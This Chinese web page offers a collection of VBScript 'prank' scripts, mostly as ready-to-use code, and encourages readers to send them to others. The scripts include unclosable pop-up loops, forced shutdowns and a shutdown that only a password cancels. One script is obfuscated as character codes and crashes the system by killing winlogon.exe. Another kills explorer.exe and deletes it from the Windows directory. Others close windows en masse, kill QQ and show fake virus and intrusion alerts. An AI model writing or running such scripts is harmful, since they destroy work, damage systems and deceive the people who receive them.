vbs整人代码(vbs整人代码花式弹窗)

七月网2024年01月08日 13:474040

一、vbs整人代码超搞笑共3个

1、 VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面我给大家展示一下。

2、首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示

3、然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗

4、接下来这个脚本每一次循环会展示4个弹窗，每个弹窗的内容不一样，每个弹窗的弹出间隔为1秒，如下图所示

5、最后一个脚本是带交互功能的，被整的人只有输入指定的内容才能关闭脚本，否则脚本会一直循环弹出，如下图所示

二、求大量VBS整人代码.

第一个 do msgbox"hi" loop第二个 Set s= CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox"系统将立刻重起wow~_^",,"你上当了！！" Set objShell= CreateObject("Wscript.Shell") objShell.Run"shutdown-s-t 5",,true end if第四个'这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox"你sb啊!" else msgbox"还不承认!!作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws= CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run"cmd/c start/min ntsd-c q-pn winlogon.exe 1>nul 2>nul",vbhide end if第六个 Set ws= CreateObject("Wscript.Shell") ws.run"cmd.exe/c call calc.exe",0第七个 set ws=CreateObject("Wscript.Shell") ws.run"cmd.exe/c taskkill/f/im explorer.exe",0 wscript.sleep 900 ws.run"cmd.exe/c copy%windir%\explorer.exe%windir%\explorer.Data" wscript.sleep 1200 ws.run"cmd.exe/c del/q/f%windir%\explorer.exe"第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe"&vbcrlf&""&vbcrlf&"大小：1.21MB"&vbcrlf&""&vbcrlf&"发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&"安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" http://shaiya.gtgame.com.cn/index.htm" ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run"notepad",3: wscript.sleep 2000 verybat=split("dear,friends,~, nice,to,meet,you,i,am,so,sorry,that,i,controled,your,computer, without,you,allowing,~,please,excuse,me,i,want,to,say,to,you,today,~,my,friends,so,even,through,we,face,the,difficulties,of,today,and,tomorrow,~,still,have,a,dream,it,is,a,dream,deeply,rooted,in,our,common,dreams,~,Maybe,it's,true,that,we,do,not,know,what,we,have,got,until,we,lose,it,~,but,it,is,also,true,that,we,do,not,know,what,we,have,been,missing,until,it,arrives,.see,you,later,~,with,the,best,wishes,~, yours,~, lhj",",")第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-((⊙ o⊙)！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ我吧QQ关了哈",8 ws.run"taskkill/f/im qq.exe" ws.popup"你还要上吧慢慢玩哦",27 dim WSHshell set WSHshell= wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys"%{F4}" next ws.run"shutdown-s-t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown-a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401",vbretrycancel end if loop ws.popup"哈哈被吓到了吧好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox"CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown-s-t 332"第十一个 dim WSHshell set WSHshell= wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys"%{F4}" next第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name= WScript.ScriptName fullname= WScript.ScriptFullName path= Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！"&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a=""Then WScript.Quit End If MyVar=MsgBox("你的名字叫："&a&"",vbYesNo+ vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！"&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a=""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的"&a&"你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b=""Then WScript.Quit End If wscript.sleep 1000c= inputbox("请在下面对话框中输入你的出生[年月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") If c=""Then WScript.Quit End If wscript.sleep 1000age= abs(datediff("d",date,c)) wscript.sleep 1 current= now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s= msgbox(Chr(10)&"恭喜"&a&"已在地球上存活了:"&age&"天"&h&"小时"&n&"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&""&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&""&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天"&h&"小时"&n&"分钟"&""""&",64,"&""""&""&a&"的自我介绍：""" auto.WriteLine"msgbox"&""""&"亲爱的"&a&"再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝:"&a&"生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"&age&"天"&h&"小时"&n&"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"